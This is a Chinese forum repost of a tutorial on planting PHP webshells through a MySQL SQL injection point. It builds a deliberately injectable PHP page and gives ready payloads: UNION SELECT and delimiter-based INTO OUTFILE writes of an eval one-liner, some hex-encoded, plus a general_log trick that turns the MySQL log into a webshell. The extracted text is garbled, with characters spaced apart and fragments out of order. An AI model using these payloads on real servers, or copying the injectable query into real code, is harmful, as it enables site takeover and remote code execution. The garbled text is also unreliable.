搜索

[985] 2020-04-16_MySQL注入点写入WebShell的几种方式

文档创建者：s7ckTeam
浏览次数：31
最后更新：2025-01-16
2020-04-16_MySQL注入点写入WebShell的几种方式 M y S Q L 注 入 点 写 入 W e b S h e l l 的 几 种 方 式 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 4 - 1 6 在 工 具 化 日 益 成 熟 的 今 天 ， 手 工 注 入 的 能 力 越 来 越 被 忽 视 了 。 当 你 掌 握 了 一 款 工 具 的 使 用 时 ， 应 更 深 入 的 去 了 解 工 具 帮 你 做 了 什 么 ， 把 工 具 所 产 生 的 影 响 控 制 在 自 己 可 控 的 范 围 内 。 比 如 ： 当 面 对 一 个 注 入 点 ， 通 过 使 用 的 命 令 选 项 ， 便 可 轻 松 一 键 获 取 ， 但 是 非 正 常 退 出 时 ， 便 会 在 网 站 目 录 中 存 留 临 时 上 传 的 文 件 。 一 个 注 入 点 写 入 ， 需 要 满 足 哪 些 条 件 呢 ？ 简 单 来 说 ， 需 要 了 解 s e c u r e _ f i l e _ p r i v 是 否 支 持 数 据 导 出 、 还 有 当 前 数 据 库 用 户 权 限 ， 当 然 ， r o o t 用 户 数 据 库 的 全 部 权 限 ， 但 写 入 W e b s h e l l   并 不 需 要 一 定 是 用 户 。 接 下 来 ， 本 文 将 通 过 构 造 一 个 注 入 点 ， 分 享 几 种 写 入 的 技 巧 。 0 x 0 1   构 造 一 个 注 入 点 构 造 一 个 注 入 点 1 、 在 默 认 数 据 库 中 创 建 测 试 表 a d m i n 和 测 试 数 据 ， 新 建 t e s t 用 户 授 予 F I L E 权 限 。 2 、 使 用 t e s t 用 户 连 接 数 据 库 。 0 x 0 2   写 入 写 入 W e b S h e l l 的 几 种 方 式 的 几 种 方 式 1 、 利 用 、 利 用 U n i o n   s e l e c t   写 入 写 入 这 是 最 常 见 的 写 入 方 式 ，   跟 ， 将 一 句 话 写 入 ， 仅 适 用 于 联 合 注 入 。 具 体 权 限 要 求 ： 支 持 目 录 文 件 导 出 、 数 据 库 用 户 F i l e 权 限 、 获 取 物 理 路 径 。 2 、 利 用 分 隔 符 写 入 、 利 用 分 隔 符 写 入 当 注 入 点 为 盲 注 或 报 错 ， 写 入 的 方 式 显 然 是 利 用 不 了 的 ， 那 么 可 以 通 过 分 隔 符 写 入 。 的   命 令 ， 所 采 用 的 就 是 一 下 这 种 方 式 。 具 体 权 限 要 求 ： 支 持 目 录 文 件 导 出 、 数 据 库 用 户 权 限 、 获 取 物 理 路 径 。 同 样 的 技 巧 ， 一 共 有 四 种 形 式 ： M y S Q L S Q L m a p - - o s - s h e l l W e b s h e l l S Q L m a p W e b s h e l l M y S Q L W e b s h e l l r o o t W e b s h e l l t e s t c r e a t e   u s e r   ' t e s t ' @ ' l o c a l h o s t '   i d e n t i f i e d   b y   ' 1 2 3 4 5 6 ' ; g r a n t   f i l e   o n   * . *   t o   ' t e s t ' @ ' l o c a l h o s t ' ; < ? p h p $ c o n   =   m y s q l _ c o n n e c t ( " l o c a l h o s t " , " t e s t " , " 1 2 3 4 5 6 " ) ; m y s q l _ s e l e c t _ d b ( " t e s t " ,   $ c o n ) ; $ i d   =   $ _ R E Q U E S T [   ' i d '   ] ; $ q u e r y     =   " S E L E C T   *   F R O M   t e s t . a d m i n   W H E R E   i d   =   $ i d   " ; $ r e s u l t   =   m y s q l _ q u e r y ( $ q u e r y ) ; . . . . . . u n i o n s e l e c t   i n t o   o u t f i l e e v i l . p h p s e c u r e _ f i l e _ p r i v w e b ? i d = 1   u n i o n   s e l e c t   1 , " < ? p h p   @ e v a l ( $ _ P O S T [ ' g ' ] ) ; ? > " , 3   i n t o   o u t f i l e   ' E : / s t u d y / W W W / e v i l . p h p ' ? i d = 1   u n i o n   s e l e c t   1 , 0 x 2 2 3 c 3 f 7 0 6 8 7 0 2 0 4 0 6 5 7 6 6 1 6 c 2 8 2 4 5 f 5 0 4 f 5 3 5 4 5 b 2 7 6 7 2 7 5 d 2 9 3 b 3 f 3 e 2 2 , 3   i n t o   o u t f i l e   " E : / s t u d y / W W W / e v i l . p h p " M y s q l U n i o n   s e l e c t S Q L M A P - - o s - s h e l l s e c u r e _ f i l e _ p r i v w e b F i l e ? i d = 1   L I M I T   0 , 1   I N T O   O U T F I L E   ' E : / s t u d y / W W W / e v i l . p h p '   l i n e s   t e r m i n a t e d   b y   0 x 2 0 2 7 3 c 3 f 7 0 6 8 7 0 2 0 4 0 6 5 7 6 6 1 6 c 2 8 2 4 5 f 5 0 4 f 5 3 5 4 5 b 2 7 6 7 2 7 5 d 2 9 3 b 3 f 3 e 2 7   - - ? i d = 1   I N T O   O U T F I L E   ' 物 理 路 径 '   l i n e s   t e r m i n a t e d   b y     （ 一 句 话 h e x 编 码 ） # ? i d = 1   I N T O   O U T F I L E   ' 物 理 路 径 '   f i e l d s   t e r m i n a t e d   b y   （ 一 句 话 h e x 编 码 ） # ? i d = 1   I N T O   O U T F I L E   ' 物 理 路 径 '   c o l u m n s   t e r m i n a t e d   b y   （ 一 句 话 h e x 编 码 ） # ? i d = 1   I N T O   O U T F I L E   ' 物 理 路 径 '   l i n e s   s t a r t i n g   b y         （ 一 句 话 h e x 编 码 ） #
3 、 利 用 、 利 用 l o g 写 入 写 入 新 版 本 的 设 置 了 导 出 文 件 的 路 径 ， 很 难 在 获 取 过 程 中 去 修 改 配 置 文 件 ， 无 法 通 过 使 用 来 写 入 一 句 话 。 这 时 ， 我 们 可 以 通 过 修 改 的 文 件 来 获 取 。 具 体 权 限 要 求 ： 数 据 库 用 户 需 具 备 和 服 务 器 权 限 、 获 取 物 理 路 径 。 加 入 我 的 知 识 星 球 ， 获 取 更 多 安 全 干 货 。 ? i d = 1   I N T O   O U T F I L E   ' 物 理 路 径 '   l i n e s   s t a r t i n g   b y         （ 一 句 话 h e x 编 码 ） # M y S Q L W e b s h e l l s e l e c t   i n t o   o u t f i l e M y S Q L l o g W e b s h e l l S u p e r F i l e s h o w   v a r i a b l e s   l i k e   ' % g e n e r a l % ' ;                           # 查 看 配 置 s e t   g l o b a l   g e n e r a l _ l o g   =   o n ;                                   # 开 启 g e n e r a l   l o g 模 式 s e t   g l o b a l   g e n e r a l _ l o g _ f i l e   =   ' E : / s t u d y / W W W / e v i l . p h p ' ;   # 设 置 日 志 目 录 为 s h e l l 地 址 s e l e c t   ' < ? p h p   e v a l ( $ _ G E T [ g ] ) ; ? > '                           # 写 入 s h e l l s e t   g l o b a l   g e n e r a l _ l o g = o f f ;                                     # 关 闭 g e n e r a l   l o g 模 式
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理